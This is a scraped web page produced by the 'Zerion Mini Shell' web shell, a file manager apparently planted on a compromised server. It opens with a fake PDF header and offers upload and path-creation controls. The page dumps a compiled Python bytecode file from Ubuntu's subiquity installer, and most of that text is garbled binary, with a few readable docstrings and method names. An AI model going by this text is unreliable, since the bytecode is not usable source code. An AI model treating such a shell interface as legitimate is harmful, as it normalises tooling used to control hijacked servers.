%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core22/current/usr/share/subiquity/subiquitycore/__pycache__/
Upload File :
Create Path :
Current File : //snap/core22/current/usr/share/subiquity/subiquitycore/__pycache__/controller.cpython-310.pyc

o

K��^��@s>ddlmZddlZddlmZe�d�ZGdd�de�ZdS)�)�ABCN)�Optionalzsubiquitycore.controllerc@sBeZdZUdZdZeeed<dd�Zdd�Z	dd	�Z
d
d�ZdS)�BaseControllerzBase class for controllers.N�
model_namecCsbt|�jdtd��|_|j|_||_|jjj|jdd�|_|jdur/t	|jj
|j�|_dSdS)N�
Controller�DEBUG)�
childlevel)�type�__name__�len�name�opts�app�context�childr�getattr�
base_model�model)�selfr�r�0/usr/share/subiquity/subiquitycore/controller.py�__init__s
�zBaseController.__init__cCsdS)aGCalled just before the main loop is started.

        At the time this is called, all controllers and models and so on
        have been created. This is when the controller should start
        interacting with the outside world, e.g. probing for network
        devices or start making connections to the snap store.
        Nr�rrrr�start#szBaseController.startcCsdS)Nrrrrr�	serialize-szBaseController.serializecCs|durtd�|���dS)Nz missing deserialize method on {})�	Exception�format)r�datarrr�deserialize0s�zBaseController.deserialize)r
�
__module__�__qualname__�__doc__rr�str�__annotations__rrrrrrrrrs

r)�abcr�logging�typingr�	getLogger�logrrrrr�<module>s



Zerion Mini Shell 1.0